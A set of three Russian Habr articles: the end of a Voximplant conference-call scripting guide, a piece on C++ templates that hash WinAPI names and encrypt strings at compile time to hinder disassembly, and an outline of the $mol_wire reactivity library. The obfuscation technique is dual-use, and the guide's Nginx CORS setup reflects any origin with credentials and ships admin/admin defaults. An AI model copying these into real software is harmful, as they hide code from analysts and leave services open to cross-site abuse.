// Подключаем аудио от звонка к конференции (в обе стороны)
VoxEngine.sendMediaBetween(e.call, conf);
// Проигрываем звук в конференцию для оповещения о подключении нового участника
var snd = VoxEngine.createURLPlayer(BEEP_URL);
snd.sendMediaTo(conf);
snd.addEventListener(PlayerEvents.PlaybackFinished, function (ee) {
// Если всего один участник в конференции - играем музыку
this.ambientMusic();
}.bind(this));
}
// Обработчик вызываемый при успешном подключении входящего вызова (уже прошедшего ConferenceGatekeeper)
this.handleCallConnected = function (e) {
// Выключаем проигрывание
e.call.stopPlayback();
// Снова включаем обработку нажатий на клавиши (DTMF)
e.call.handleTones(true);
// Переходим ко второй фазе авторизации - ввод пароля участника (passcode)
this.authStep2(e.call);
}
// Снова проигрываем сообщение о вводе пароля после завершения его проигрывания, если не было ввода
this.handleIntroPlayedStage2 = function (e) {
e.call.removeEventListener(CallEvents.PlaybackFinished, this.handleIntroPlayedStage2);
t2 = setTimeout(function () {
e.call.say("Please specify your passcode, followed by " +
"the pound sign to join the conference.", Language.UK_ENGLISH_FEMALE);
e.call.addEventListener(CallEvents.PlaybackFinished, this.handleIntroPlayedStage2);
}.bind(this), 5000);
}
// Обработчик ввода с клавиатуры
this.handleToneReceivedStage2 = function (e) {
clearTimeout(t2);
e.call.removeEventListener(CallEvents.PlaybackFinished, this.handleIntroPlayedStage2);
e.call.stopPlayback();
var cCall = this.getConfCall(e.call);
// При нажатии на # проверяем пароль
if (e.tone == "#") {
Logger.write("Checking passcode: " + cCall.input);
participant_id = this.participantExists(cCall.input);
if (participant_id != false) {
// Участник с паролем найден
cCall.input = "";
cCall.state = "connected";
cCall.participant_id = participant_id;
e.call.removeEventListener(CallEvents.ToneReceived, this.handleToneReceivedStage2);
Logger.write("Participant id " + participant_id + " has joined the conf");
// Подключаем к конференции
this.joinConf(e.call);
} else {
// Участник не найден - проигрываем сообщение и просим повторить ввод
cCall.input = "";
e.call.say("Sorry, wrong passcode was specified, please try again.", Language.UK_ENGLISH_FEMALE);
e.call.addEventListener(CallEvents.PlaybackFinished, this.handleIntroPlayedStage2);
}
} else cCall.input += e.tone; // пока не нажата # просто добавляем ввод к input
}
// Подключение входящего звонка к конференции после авторизации
this.joinConf = function (call) {
call.say("You have joined the conference.", Language.UK_ENGLISH_FEMALE);
call.addEventListener(CallEvents.PlaybackFinished, function (e) {
// Подключаем аудио от звонка к конференции (в обе стороны)
VoxEngine.sendMediaBetween(call, conf);
// Проигрываем звук в конференцию для оповещения о подключении нового участника
var snd = VoxEngine.createURLPlayer(BEEP_URL);
snd.sendMediaTo(conf);
snd.addEventListener(PlayerEvents.PlaybackFinished, function (ee) {
// Если всего один участник в конференции - играем музыку
this.ambientMusic();
}.bind(this));
}.bind(this));
}
// Функция отвечает за вкл/выкл проигрывания музыки в конференцию во время ожидания
this.ambientMusic = function () {
var p_num = 0;
for (var i in calls) {
if (calls[i].state == 'connected') p_num++;
}
if (p_num == 1) {
// 1 участник - играем музыку
music = VoxEngine.createURLPlayer(MUSIC_URL, true);
music.sendMediaTo(conf);
} else {
// 2+ участников - выключаем музыку
music.stopMediaTo(conf);
}
}
// Начинаем проверку пароля участника (passcode)
this.passcodeCheck = function (call) {
call.say("Thank you! Please specify your passcode, followed by " +
"the pound sign to join the conference.", Language.UK_ENGLISH_FEMALE);
this.handleToneReceivedStage2 = this.handleToneReceivedStage2.bind(this);
call.addEventListener(CallEvents.ToneReceived, this.handleToneReceivedStage2);
this.handleIntroPlayedStage2 = this.handleIntroPlayedStage2.bind(this);
call.addEventListener(CallEvents.PlaybackFinished, this.handleIntroPlayedStage2);
}
// Авторизация входящего вызова - в зависимости от настроек конференции выбираем дальнейшие действия
this.authStep2 = function (call) {
if (anonymousAccess) {
// Анонимные участники - просто подключаем к конференции
this.joinConf(call);
this.getConfCall(call).participant_id = null;
} else {
if (calleridAuth) {
// Проверяем номер телефона участника для авторизации, в случае callerid_auth
var participant_id = this.participantWithParamExists("phone", call.callerid());
if (participant_id != false) {
// Все ок - подключаем участника к конференции
this.joinConf(call);
this.getConfCall(call).participant_id = participant_id;
} else {
// Не удалось найти такого участника - даем возможность ввести пароль участника (passcode)
this.passcodeCheck(call);
}
} else {
// Ввод пароля участника (passcode)
this.passcodeCheck(call);
}
}
}
};
```
Итак, теперь у нас есть еще 2 сценария — StandaloneConference и VoxConference, чтобы подключить их к обработке звонков нужно создать несколько дополнительных правил для нашего приложения. Назовем их FwdToConf — маска будет conf, и StartConfHTTP — маску сделаем .\*, в обоих случаях прикрепляем VoxConference и StandaloneConference:
Все сохраняем и переходим к разворачиванию БД и веб-сервиса. Сервис мы напилили по-быстрому на PHP, для БД взяли MySQL. Помимо разворачивания сервиса потребуется веб-клиент для управления всем этим хозяйством — если не хочется руками в БД все время ковыряться, его мы быстро сделали на ReactJS и Bootstrap. Есть правда один нюанс — придется настроить веб-сервер определенным образом, так как мы используем AJAX + сессию на сервере + crossDomain, иначе браузер будет ругаться.
Для Nginx настройка под наш кросс-доменный AJAX будет выглядеть так:
```
add_header 'Access-Control-Allow-Origin' $http_origin;
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type';
```
Все остальные файлы, включая структуру БД для mysql и юзером admin / admin от лица которого можно сразу воспользоваться функционалом конференций, а также готовым веб-приложением можно взять с нашего GitHub-аккаунта:
[Проект со всеми файлами на GitHub](https://github.com/voximplant/conference) | https://habr.com/ru/post/229593/ | null | ru | null |
# Формирование данных с помощью шаблонов С++
Однажды была поставлена задача написать некую небольшую программу, она должна была что-то делать, но при это требовалось максимально усложнить процесс анализа кода при дизассемблировании. Один из методов это убрать из exe все упоминания об используемых WinApi функциях, и было принято решение хранить не названия WinApi функций, а некие хэш-коды, вычисляемые каким-нить несложным алгоритмом. Потом при перечислений всех функций dll библиотеки находить нужные по этим хэш-кодам. Один из часто применяемых способов, это написать небольшую утилитку, подать ей на вход список названий нужных функций, она вычисляет их хэш-коды и на выходе выдает исходник в котором находится готовая таблица с кодами. Потом этот исходник подключается к проекту и дальше во всю используется. Но как всегда вмешалась лень. Лень было писать такую утилитку, да и еще прописывать необходимые действия в make файле. Хотелось чтобы все вычислялось во время компиляции. Вот тогда был брошен взгляд на шаблоны С++ …
Шаблоны С++ не позволяют работать со строками типа char\*, в них нельзя писать, с них нельзя читать, можно использовать только указатель для передачи его куда-то дальше. Но лень упертая штука, а что если в параметрах шаблона указывать не саму строку, а отдельно символы? Это уже очень хорошо, да и шаблоны могут иметь параметры по умолчанию, а это как раз то что нам нужно. Теперь достаточно написать шаблонный класс параметрами которого будут символы (тип char) и функцию для расчета хэша на основе значений параметров, а вот и сам класс:
```
template
class hash\_text {
public:
//функция вычисления хэша
static unsigned int get\_hash()
{ unsigned int hash = c01;
if( c02 ) { hash ^= (hash << 8) | c02; }
if( c03 ) { hash ^= (hash << 8) | c03; }
if( c04 ) { hash ^= (hash << 8) | c04; }
if( c05 ) { hash ^= (hash << 8) | c05; }
if( c06 ) { hash ^= (hash << 8) | c06; }
if( c07 ) { hash ^= (hash << 8) | c07; }
if( c08 ) { hash ^= (hash << 8) | c08; }
if( c09 ) { hash ^= (hash << 8) | c09; }
if( c10 ) { hash ^= (hash << 8) | c10; }
if( c11 ) { hash ^= (hash << 8) | c11; }
if( c12 ) { hash ^= (hash << 8) | c12; }
if( c13 ) { hash ^= (hash << 8) | c13; }
if( c14 ) { hash ^= (hash << 8) | c14; }
if( c15 ) { hash ^= (hash << 8) | c15; }
if( c16 ) { hash ^= (hash << 8) | c16; }
if( c17 ) { hash ^= (hash << 8) | c17; }
if( c18 ) { hash ^= (hash << 8) | c18; }
if( c19 ) { hash ^= (hash << 8) | c19; }
if( c20 ) { hash ^= (hash << 8) | c20; }
if( c21 ) { hash ^= (hash << 8) | c21; }
if( c22 ) { hash ^= (hash << 8) | c22; }
if( c23 ) { hash ^= (hash << 8) | c23; }
if( c24 ) { hash ^= (hash << 8) | c24; }
if( c25 ) { hash ^= (hash << 8) | c25; }
if( c26 ) { hash ^= (hash << 8) | c26; }
if( c27 ) { hash ^= (hash << 8) | c27; }
if( c28 ) { hash ^= (hash << 8) | c28; }
if( c29 ) { hash ^= (hash << 8) | c29; }
if( c30 ) { hash ^= (hash << 8) | c30; }
if( c31 ) { hash ^= (hash << 8) | c31; }
if( c32 ) { hash ^= (hash << 8) | c32; }
return hash;
}
};
```
Как видите все не так сложно. Единственное ограничение для данного класса, так это возможность использования строк длиною не более 32-х символов, но если нужно больше, то легко расширить.
Как теперь использовать этот класс? Все достаточно просто, берем название функции и прописываем его посимвольно в параметрах шаблона:
```
typedef hash_text<'C','r','e','a','t','e','F','i','l','e'> hashCreateFile; //объявляем новый тип
```
Как вам?
А чтобы получить сам хэш:
```
hashCreateFile::get_hash();
```
и все! Теперь достаточно объявить нужное количество типов-функций и использовать хэши в где вам нужно.
Если вы думаете, что компилятор сгенерирует кучу ненужного кода, то ошибаетесь, будет только одно число и больше ничего (попробуйте сами скомпилить в ассемблерный вид).
Но это еще не предел, таким способом еще можно шифровать строки прямо налету, во время компиляции.
##### Шифрование строк
Для шифрования строк будем использовать простой алгоритм: будем менять каждую пару символов местами, в зависимости от некоего параметра code. Для этого добавим в наш класс дополнительно буфер (а где еще хранить шифровку?) и несколько специальных функций и вуаля:
```
template
class code\_text {
//вычисляем количество символов в строке
static const char count =
(c01 ? 1 : 0) + (c02 ? 1 : 0) + (c03 ? 1 : 0) + (c04 ? 1 : 0) +
(c05 ? 1 : 0) + (c06 ? 1 : 0) + (c07 ? 1 : 0) + (c08 ? 1 : 0) +
(c09 ? 1 : 0) + (c10 ? 1 : 0) + (c11 ? 1 : 0) + (c12 ? 1 : 0) +
(c13 ? 1 : 0) + (c14 ? 1 : 0) + (c15 ? 1 : 0) + (c16 ? 1 : 0) +
(c17 ? 1 : 0) + (c18 ? 1 : 0) + (c19 ? 1 : 0) + (c20 ? 1 : 0) +
(c21 ? 1 : 0) + (c22 ? 1 : 0) + (c23 ? 1 : 0) + (c24 ? 1 : 0) +
(c25 ? 1 : 0) + (c26 ? 1 : 0) + (c27 ? 1 : 0) + (c28 ? 1 : 0) +
(c29 ? 1 : 0) + (c30 ? 1 : 0) + (c31 ? 1 : 0) + (c32 ? 1 : 0);
char buf[count + 1]; //выделяем место под нашу строку
char encode\_char( bool first, int bit, char b1, char b2 )
{ if( b2 == 0 ) //конец строки
return b1;
unsigned int change = code & (1 << bit); //делать обмен или нет
if( first )
return change ? b2 : b1; //кодирование 1-го символа
else
return change ? b1 : b2; //кодирование 2-го символа
}
//помещает кодированный символ в буфер, n - начальный индекс для двух символов
bool put\_char( int n, char c1, char c2 )
{ if( c1 == 0 ) return false; //конец строки
buf[n] = encode\_char( true, n / 2, c1, c2 );
if( c2 == 0 ) return false; //конец строки
buf[n + 1] = encode\_char( false, n / 2, c1, c2 );
return true;
}
//кодирование строки целиком
void encode()
{ int v = 0;
//символы ложим в буфер парами, конструкции if не делал лесенкой, так как в столбик красивее )
if( put\_char( 0, c01, c02 ) )
if( put\_char( 2, c03, c04 ) )
if( put\_char( 4, c05, c06 ) )
if( put\_char( 6, c07, c08 ) )
if( put\_char( 8, c09, c10 ) )
if( put\_char( 10, c11, c12 ) )
if( put\_char( 12, c13, c14 ) )
if( put\_char( 14, c15, c16 ) )
if( put\_char( 16, c17, c18 ) )
if( put\_char( 18, c19, c20 ) )
if( put\_char( 20, c21, c22 ) )
if( put\_char( 22, c23, c24 ) )
if( put\_char( 24, c25, c26 ) )
if( put\_char( 26, c27, c28 ) )
if( put\_char( 28, c29, c30 ) )
if( put\_char( 30, c31, c32 ) )
v = 0; //в последней конструкции if должен быть какой-нить оператор
buf[count] = 0;
}
public:
code\_text()
{ encode();
}
const char\* ptr() const //указатель на кодированную строку
{ return buf;
}
int len()
{ return count;
}
char\* str( char\* to )
{ return decode( buf, count, to ); //декодирование в to
}
};
```
Как видите тут немного сложнее, но смысл тот же. Использовать нужно несколько по другому:
```
code_text<44717397, 'E','n','c','o','d','e','S','t','r','i','n','g'> EncodeString;
```
тут создается объект, а не как выше – тип. Ну и применять можно так:
```
printf( "%s\n", EncodeString.ptr() );
```
на экране будет зашифрованная строка, или
```
char to[33];
printf( "%s\n", EncodeString.str(to) );
```
на экране будет расшифрованная строка. Функция расшифровки (decode), естественно должна быть где-то описана.
При создании объекта, а не типа, есть одно но, полученные данные не помещаются таким способом в секцию .data (как обычные строки), компилятор формирует код который сохраняет вычисленные данные посредством инструкций mov. Это так называемый инициализируемый код, и запускается перед вызовом функции main(), то есть для нас все прозрачно и мы можем пользоваться результатом как обычными строками. Также возможно придется поработать над опциями оптимизации компилятора, так как такие огромные инлайн функции могут остаться в вашем конечном exe, т. е. нужно добиться того чтобы остался только инициализируемый код (переброс данных) и больше ничего.
##### Закуска
Ну и на закуску еще такой примерчик. С++ не имеет встроенных средств написания чисел в двоичном виде. Но мы можем это обойти используя данный метод. Ниже показан класс который может преобразовывать 32-х разрядные числа:
```
template
class bin\_to\_dec {
static unsigned int get\_bit( int res, int c )
{
return (res << 1) | (c ? 1 : 0); //c не обязательно может быть равен 0 или 1
}
public:
static unsigned int dec()
{
unsigned int res = 0;
if( c01 >= 0 ) res = get\_bit( res, c01 );
if( c02 >= 0 ) res = get\_bit( res, c02 );
if( c03 >= 0 ) res = get\_bit( res, c03 );
if( c04 >= 0 ) res = get\_bit( res, c04 );
if( c05 >= 0 ) res = get\_bit( res, c05 );
if( c06 >= 0 ) res = get\_bit( res, c06 );
if( c07 >= 0 ) res = get\_bit( res, c07 );
if( c08 >= 0 ) res = get\_bit( res, c08 );
if( c09 >= 0 ) res = get\_bit( res, c09 );
if( c10 >= 0 ) res = get\_bit( res, c10 );
if( c11 >= 0 ) res = get\_bit( res, c11 );
if( c12 >= 0 ) res = get\_bit( res, c12 );
if( c13 >= 0 ) res = get\_bit( res, c13 );
if( c14 >= 0 ) res = get\_bit( res, c14 );
if( c15 >= 0 ) res = get\_bit( res, c15 );
if( c16 >= 0 ) res = get\_bit( res, c16 );
if( c17 >= 0 ) res = get\_bit( res, c17 );
if( c18 >= 0 ) res = get\_bit( res, c18 );
if( c19 >= 0 ) res = get\_bit( res, c19 );
if( c20 >= 0 ) res = get\_bit( res, c20 );
if( c21 >= 0 ) res = get\_bit( res, c21 );
if( c22 >= 0 ) res = get\_bit( res, c22 );
if( c23 >= 0 ) res = get\_bit( res, c23 );
if( c24 >= 0 ) res = get\_bit( res, c24 );
if( c25 >= 0 ) res = get\_bit( res, c25 );
if( c26 >= 0 ) res = get\_bit( res, c26 );
if( c27 >= 0 ) res = get\_bit( res, c27 );
if( c28 >= 0 ) res = get\_bit( res, c28 );
if( c29 >= 0 ) res = get\_bit( res, c29 );
if( c30 >= 0 ) res = get\_bit( res, c30 );
if( c31 >= 0 ) res = get\_bit( res, c31 );
if( c32 >= 0 ) res = get\_bit( res, c32 );
return res;
}
};
```
Использовать так:
```
typedef bin_to_dec<1,1,1,0,0,0,1,1,1> flags;
printf( "%u", flags::dec() );
```
##### Послесловие
Я использую в одном своем проекте данный метод для формирования хэшей и закодированных строк и пока все замечательно, но вам особо не рекомендую, лучше пишите отдельные утилитки, хотя … кто знает Вас и вашу лень ) | https://habr.com/ru/post/113026/ | null | ru | null |
# Проектируем идеальную систему реактивности
Здравствуйте, меня зовут Дмитрий Карловский и я… крайне плох в построение социальных связей, но чуть менее плох в построении программных. Недавно я подытожил свой восьмилетний опыт реактивного программирования, проведя обстоятельный анализ различных подходов к решению типичных детских болячек:
> [Main Aspects of Reactivity](https://nin-jin.github.io/slides/reactivity/)
Я очень рекомендую прочитать сперва ту статью, чтобы лучше понимать дальнейшее повествование, где мы с нуля разработаем совершенно новую TypeScript реализацию, вобравшую в себя все самые крутые идеи, позволяющие достигнуть беспрецедентной выразительности, компактности, скорости, надёжности, простоты, гибкости, экономности..
Статья разбита на главы, перелинкованные с соответствующими аспектами из упомянутого выше анализа. Так что если вдруг потеряетесь — сможете быстро восстановить контекст.
Повествование будет долгим, но если вы продержитесь до конца, то сможете смело идти к начальнику за повышением. Даже если вы сам себе начальник.
К сожалению, статья получилась слишком длинной для Хабра, поэтому полную версию вы найдёте [среди остальных статей](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48). Далее же я подготовил для вас краткое оглавление, чтобы вы понимали сколько всего вас там ждёт.
[Origin](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Origin)
===================================================================================================================
* Рассматриваются разные абстракции работы состоянием: поля, хуки, и вводится новый тип — каналы, позволяющие через одну функцию и проталкивать значения и затягивать, полностью контролируя оба процесса.
* Приводятся примеры работы через канал с локальной переменной, обработки событий, делегирование работы другому каналу с образованием цепочек, пересекающих разные слои абстракции.
```
let _title = ''
const title = ( text = _title )=> _title = text
title() // ''
title( 'Buy some milk' ) // 'Buy some milk'
title() // 'Buy some milk'
```
[Property](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Property)
-----------------------------------------------------------------------------------------------------------------------
* Рассматривается использование каналов в качестве методов объектов.
* Вводится декоратор `$mol_wire_solo`, мемоизирующий их работу для экономии вычислений и обеспечения идемпотентности.
```
class Task extends Object {
@ $mol_wire_solo
title( title = '' ) {
return title
}
details( details?: string ) {
return this.title( details )
}
}
```
[Recomposition](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Recomposition)
---------------------------------------------------------------------------------------------------------------------------------
* Расcматривается композиция нескольких простых каналов в один составной.
* И наоборот — работа с составным каналом через несколько простых.
```
class Task extends Object {
@ $mol_wire_solo
title( title = '' ) { return title }
@ $mol_wire_solo
duration( dur = 0 ) { return dur }
@ $mol_wire_solo
data( data?: {
readonly title?: string
readonly dur?: number
} ) {
return {
title: this.title( data?.title ),
dur: this.duration( data?.dur ),
} as const
}
}
```
[Multiplexing](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Multiplexing)
-------------------------------------------------------------------------------------------------------------------------------
* Рассматриваются каналы, мультиплексированные в одном методе, принимающем первым аргументом идентификатор канала.
* Вводится новый декоратор `$mol_wire_plex` для таких каналов.
* Демонстрируется подход с выносом копипасты из нескольких сольных каналов в один мультиплексированный в базовом классе без изменения API.
* Демонстрируется вынос хранения состояний множества объектов в локальное хранилище через мультиплексированный синглтон с получением автоматической синхронизации вкладок.
```
class Task_persist extends Task {
@ $mol_wire_solo
data( data?: {
readonly title: string
readonly dur: number
} ) {
return $mol_state_local.value( `task=${ this.id() }`, data )
?? { title: '', cost: 0, dur: 0 }
}
}
// At first tab
const task = new Task_persist( 777 )
task.title( 'Buy some milk' ) // 'Buy some milk'
// At second tab
const task = new Task_persist( 777 )
task.title() // 'Buy some milk'
```
[Keys](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Keys)
---------------------------------------------------------------------------------------------------------------
* Реализуется библиотека выдающая уникальный строковый ключ для эквивалентных сложных структур.
* Объясняется универсальный принцип поддержки и пользовательских типов данных.
* Демонстрируется её применение для идентификации мультиплексированных каналов.
```
@ $mol_wire_plex
task_search( params: {
query?: string
author?: Person[],
assignee?: Person[],
created?: { from?: Date, to?: Date }
updated?: { from?: Date, to?: Date }
order?: { field: string, asc: boolean }[]
} ) {
return this.api().search( 'task', params )
}
```
[Factory](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Factory)
---------------------------------------------------------------------------------------------------------------------
* Вводится понятие реактивного фабричного метода, управляющего жизненным циклом создаваемого объекта.
* Рассматривается ленивое создание цепочки объектов с последующим автоматическим её разрушением.
* Объясняется принцип захвата владения объектом и предсказуемость момента его разрушения.
* Подчёркивается важность ленивого создания объектов для скорости компонентного тестирования.
```
class Account extends Entity {
@ $mol_wire_plex
project( id: number ) {
return new Project( id )
}
}
class User extends Entity {
@ $mol_wire_solo
account() {
return new Account
}
}
```
[Hacking](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Hacking)
---------------------------------------------------------------------------------------------------------------------
* Рассматривается техника настройки объекта путём переопределения его каналов.
* Демонстрируется поднятие стейта используя хакинг.
* Подчёркиваются преимущества хакинга для связывания объектов ничего не знающих друг про друга.
[Binding](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Binding)
---------------------------------------------------------------------------------------------------------------------
* Связывание объектов классифицируются по направлению: одностороннее и двустороннее.
* А так же по методу: делегирование и хакинг.
* Подчёркивается недостатки связывания методом синхронизации.
```
class Project extends Object {
@ $mol_wire_plex
task( id: number ) {
const task = new Task( id )
// Hacking one-way
// duration <= task_duration*
task.duration = ()=> this.task_duration( id )
// Hacking two-way
// cost <=> task_cost*
task.cost = next => this.task_cost( id, next )
return task
}
// Delegation one-way
// status => task_status*
task_status( id: number ) {
return this.task( id ).status()
}
// Delegation two-way
// title = task_title*
task_title( id: number, next?: string ) {
return this.task( id ).title( next )
}
}
```
[Debug](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Debug)
=================================================================================================================
* Раскрываются возможности фабрик по формированию глобально уникальных семантичных идентификаторов объектов.
* Демонстрируется отображение индентификаторов в отладчике и стектрейсах.
* Демонстрируется использование custom formatters для ещё большей информативности объектов в отладчике.
* Демонстрируется логирование изменений состояний с отображением их идентификаторов.
[Fiber](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Fiber)
-----------------------------------------------------------------------------------------------------------------
* Вводится понятие волокна — приостанавливаемой функции.
* Оценивается потребление памяти наивной реализацией волокна на хеш-таблицах.
* Предлагается наиболее экономная реализация на обычном массиве.
* Раскрывается техника двусторонних связей с накладными расходами всего в 16 байт и константной алгоритмической сложностью операций.
* Обосновывается ограниченность разрастания занимаемой массивом памяти при динамической перестройке графа.
[Publisher](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Publisher)
-------------------------------------------------------------------------------------------------------------------------
* Вводится понятия издателя, как минимального наблюдаемого объекта.
* Оценивается потребление памяти издателем.
* Демонстрируется применение издателя для реактивизации обычной переменной и адреса страницы.
* Предлагается к использованию микро библиотека, предоставляющая минимального издателя для встраивания в другие библиотеки.
* Демонстрируется создание реактивного множества из нативного.
```
const pub = new $mol_wire_pub
window.addEventListener( 'popstate', ()=> pub.emit() )
window.addEventListener( 'hashchange', ()=> pub.emit() )
const href = ( next?: string )=> {
if( next === undefined ) {
pub.promote()
} else if( document.location.href !== next ) {
document.location.href = next
pub.emit()
}
return document.location.href
}
```
[Dupes](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Dupes)
=================================================================================================================
* Разбирается структурное сравнение произвольных объектов.
* Вводится эвристика для поддержки пользовательских типов данных.
* Обосновывается важность кеширования и разъясняется как избежать утечек памяти при этом.
* Раскрывается применение кеширования для корректного сравнения циклических ссылок.
* Предлагается к использованию независимая микро библиотека.
* Приводятся результаты сравнения производительности разных библиотек глубокого сравнения объектов.
[Subscriber](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Subscriber)
---------------------------------------------------------------------------------------------------------------------------
* Вводится понятие подписчика, как наблюдателя способного автоматически подписываться на издателей и отписываться от них.
* Оценивается потребление памяти подписчиком и подписчиком совмещённым с издателем.
* Раскрывается алгоритм автоматической подписки на издателей.
* Разбирается ручная низкоуровневая работа с подписчиком.
```
const susi = new $mol_wire_pub_sub
const pepe = new $mol_wire_pub
const lola = new $mol_wire_pub
const backup = susi.track_on() // Begin auto wire
try {
touch() // Auto subscribe Susi to Pepe and sometimes to Lola
} finally {
susi.track_cut() // Unsubscribe Susi from unpromoted pubs
susi.track_off( backup ) // Stop auto wire
}
function touch() {
// Dynamic subscriber
if( Math.random() < .5 ) lola.promote()
// Static subscriber
pepe.promote()
}
```
[Task](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Task)
---------------------------------------------------------------------------------------------------------------
* Вводится понятие задачи, как одноразового волокна, которое финализируется при завершении, освобождая ресурсы.
* Сравниваются основные виды задач: от нативных генераторов и асинхронных функций, до NodeJS расширения и SuspenseAPI с перезапусками функции.
* Вводится декоратор `$mol_wire_task` автоматически заворачивающий метод в задачу.
* Разъясняется как бороться с неидемпотентностью при использовании задач.
* Раскрывается механизм обеспечения надёжности при перезапусках функции с динамически меняющимся потоком исполнения.
```
// Auto wrap method call to task
@ $mol_wire_method
main() {
// Convert async api to sync
const syncFetch = $mol_wire_sync( fetch )
this.log( 'Request' ) // 3 calls, 1 log
const response = syncFetch( 'https://example.org' ) // Sync but non-blocking
// Synchronize response too
const syncResponse = $mol_wire_sync( response )
this.log( 'Parse' ) // 2 calls, 1 log
const response = syncResponse.json() // Sync but non-blocking
this.log( 'Done' ) // 1 call, 1 log
}
// Auto wrap method call to sub-task
@ $mol_wire_method
log( ... args: any[] ) {
console.log( ... args )
// No restarts because console api isn't idempotent
}
```
[Atom](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Atom)
---------------------------------------------------------------------------------------------------------------
* Вводится понятие атома, как многоразового волокна, автоматически обновляющего кеш при изменении зависимостей.
* Раскрывается механизм взаимодействия разного типа волокон друг с другом.
* Приводится пример использования задач для борьбы с неидемпотентностью обращений к атомам, меняющих своё состояние динамически.
```
@ $mol_wire_method
toggle() {
this.completed( !this.completed() ) // read then write
}
@ $mol_wire_solo
completed( next = false ) {
$mol_wait_timeout( 1000 ) // 1s debounce
return next
}
```
[Abstraction Leakage](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Abstraction%20Leakage)
-----------------------------------------------------------------------------------------------------------------------------------------------
* Подчёркивается слабое место абстракции каналов — возможное нарушение инвариантов при проталкивании.
* Разбираются различные стратегии поведения при противоречии результата проталкивания инварианту: авто предзатягивание, авто постзатягивание, ручное затягивание.
* Рассматриваются альтернативные более строгие абстракции.
* Обосновывается выбор наиболее простой стратегии, минимизирующей накладные расходы и максимизирующей контроль прикладным программистом.
```
@ $mol_wire_solo
left( next = false ) {
return next
}
@ $mol_wire_solo
right( next = false ) {
return next
}
@ $mol_wire_solo
res( next?: boolean ) {
return this.left( next ) && this.right()
}
```
[Tonus](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Tonus)
=================================================================================================================
* Приводятся 5 состояний в которых может находиться волокно: вычисляется, устаревшее, сомнительное, актуальное, финализировано.
* Раскрывается назначение курсора для представления состояния жизненного цикла волокна.
* Иллюстрируются переходы состояний узлов реактивного графа при изменениях значений и при обращении к ним.
* Обосновывается перманентная актуальность значения, получаемого от атома.
[Order](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Order)
=================================================================================================================
* Раскрывается механизм автоматического обновления от точки входа, гарантирующего корректный порядок вычислений.
* Обосновывается отложенный пересчёт инвариантов именно при следующем фрейме анимации, что экономит ресурсы без видимых артефактов.
[Depth](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Depth)
=================================================================================================================
* Рассматриваются основные сценарии работы с атомами, которые могут зависеть от глубины зависимостей.
* Разбираются два основных подхода к реализации этих сценариев: цикл и рекурсия.
* Обосновывается выбор именно рекурсивного подхода не смотря на его ограничение глубины зависимостей.
* Приводится пример анализа стектрейса и подчёркивается важность его информативности.
* Разъясняется прозрачное поведение реактивной системы для всплывающих исключений.
[Error](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Error)
=================================================================================================================
* Классифицируются возможные значения волокна: обещание, ошибка, корректный результат.
* Классифицируются возможные способы передачи нового значения волокну: `return`, `throw`, `put`.
* Обосновывается нормализация поведения волокна независимо от способа передачи ему значения.
[Extern](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Extern)
===================================================================================================================
* Рассматриваются особенности работы с асинхронными и синхронными интерфейсами.
* Разъясняется механизм работы SuspenseAPI, основанный на всплытии обещаний.
* Разбираются возможности отслеживания зависимостей в синхронных функциях, асинхронных и генераторах.
* Приводятся результаты замера скорости работы разных подходов.
* Подчёркивается проблема разноцветных функций и необходимость их обесцвечивания.
* Обосновывается выбор именно синхронного подхода.
```
something(): string {
try {
// returns allways string
return do_something()
} catch( cause: unknown ) {
if( cause instanceof Error ) {
// Usual error handling
}
if( cause instanceof Promise ) {
// Suspense API
}
// Something wrong
}
}
```
[Recoloring](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Recoloring)
---------------------------------------------------------------------------------------------------------------------------
* Вводятся прокси `$mol_wire_sync` и `$mol_wire_async` позволяющие трансформировать асинхронный код в синхронный и обратно.
* Приводится пример *синхронной*, но не блокирующей загрузки данных с сервера.
```
function getData( uri: string ): { lucky: number } {
const request = $mol_wire_sync( fetch )
const response = $mol_wire_sync( request( uri ) )
return response.json().data
}
```
[Concurrency](https://mol.hyoo.ru/#!section=articles/author=nin-jin/repo=HabHub/article=48/Articles.Datails_text=Concurrency)
-----------------------------------------------------------------------------------------------------------------------------
* Разбирается сценарий, когда одно и то же действие запускается до завершения предыдущего запуска.
